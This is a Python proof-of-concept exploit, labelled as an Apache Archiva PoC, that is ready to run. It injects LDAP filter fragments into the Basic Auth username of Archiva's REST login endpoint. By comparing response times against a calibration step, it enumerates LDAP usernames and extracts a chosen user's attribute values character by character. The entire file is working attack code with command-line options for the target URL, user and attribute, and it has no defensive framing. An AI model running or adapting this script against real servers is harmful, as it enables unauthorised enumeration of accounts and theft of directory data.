#!/usr/bin/env python3 import argparse import string import logging import requests import time from requests.auth import HTTPBasicAuth _URL = '' _USER = '' _ATTR = '' _PATH = '/restServices/redbackServices/loginService/logIn' _USER_MAX_LENGTH = 8 _USER_CHARSET = string.ascii_lowercase + string.digits + '_-@.' _USER_FILTER = '{})(uid=*' _ATTR_MAX_LENGTH = 20 _ATTR_CHARSET = string.ascii_lowercase + string.digits + '_@.' _ATTR_CHARSET_EXCLUDE = '' _ATTR_FILTER = '{user})({attr}={{}}' _CALIBRATION_N_ATTEMPTS = 10 _N_ATTEMPTS = 2 _RESP_TIME_EXISTS = -1 _RESP_TIME_DOESNT_EXIST = -1 def _calibrate(): global _RESP_TIME_EXISTS, _RESP_TIME_DOESNT_EXIST logging.info('Calibration...') total_time = 0 for i in range(_CALIBRATION_N_ATTEMPTS): start_time = time.perf_counter() requests.post(_URL.rstrip('/')+_PATH, auth=HTTPBasicAuth('*', 'anything')) end_time = time.perf_counter() total_time += end_time - start_time _RESP_TIME_EXISTS = total_time / _CALIBRATION_N_ATTEMPTS total_time = 0 for i in range(_CALIBRATION_N_ATTEMPTS): start_time = time.perf_counter() requests.post(_URL.rstrip('/')+_PATH, auth=HTTPBasicAuth('DoesntExistForSure', 'anything')) end_time = time.perf_counter() total_time += end_time - start_time _RESP_TIME_DOESNT_EXIST = total_time / _CALIBRATION_N_ATTEMPTS logging.debug('_RESP_TIME_EXISTS: {}'.format(_RESP_TIME_EXISTS)) logging.debug('_RESP_TIME_DOESNT_EXIST: {}'.format(_RESP_TIME_DOESNT_EXIST)) logging.info('Calibration done') return (_RESP_TIME_EXISTS, _RESP_TIME_DOESNT_EXIST) def _exists(val, filter): logging.debug('USER {}'.format(filter.format(val))) total_time = 0 for i in range(_N_ATTEMPTS): start_time = time.perf_counter() requests.post(_URL.rstrip('/')+_PATH, auth=HTTPBasicAuth(filter.format(val), 'anything')) end_time = time.perf_counter() total_time += end_time - start_time response_time = total_time / _N_ATTEMPTS logging.debug('RESP TIME {}'.format(response_time)) return abs(_RESP_TIME_EXISTS - response_time) < abs(_RESP_TIME_DOESNT_EXIST - response_time) def _exfiltrate(val, filter, charset, max_length, exclude='', stop_on_first=False): if _exists(val=val, filter=filter): #print(val) print('') if stop_on_first: return True if len(val) == max_length: return False for c in charset: if not c in exclude: if _exists(val=val+c+'*', filter=filter): print(val + c, end='\r', flush=True) ret = _exfiltrate(val=val + c, filter=filter, charset=charset, max_length=max_length, exclude=exclude) if ret and stop_on_first: return ret def _enumerate_users(): logging.info('Enumerating users from {}'.format(_URL)) _calibrate() _exfiltrate(val='', filter=_USER_FILTER, charset=_USER_CHARSET, max_length=_USER_MAX_LENGTH) def _exfiltrate_attr(): logging.info('Exfiltrating {} attribute of {} user from {}'.format(_ATTR, _USER, _URL)) _calibrate() _exfiltrate(val='', filter=_ATTR_FILTER.format(user=_USER, attr=_ATTR), charset=_ATTR_CHARSET, max_length=_ATTR_MAX_LENGTH, exclude=_ATTR_CHARSET_EXCLUDE, stop_on_first=True) def main(): parser = argparse.ArgumentParser(description='Apache Archiva PoC. Exfiltrate users and attributes from LDAP.') parser.add_argument('-v', dest='verbose', required=False, action='store_true', help='Enable debug logging') parser.add_argument('--url', dest='url', required=True, help='Archiva URL, e.g. http://127.0.0.1:8080/') parser.add_argument('--user', dest='user', required=False, help='LDAP user for which to exfiltrate attribute value') parser.add_argument('--attr', dest='attribute', required=False, help='LDAP attribute to exfiltrate') args = parser.parse_args() global _URL _URL = args.url logging.basicConfig(format='[%(levelname)s] %(message)s', level=logging.DEBUG if args.verbose else logging.INFO) if args.user: global _USER, _ATTR _USER = args.user _ATTR = args.attribute _exfiltrate_attr() else: _enumerate_users() if __name__ == '__main__': main()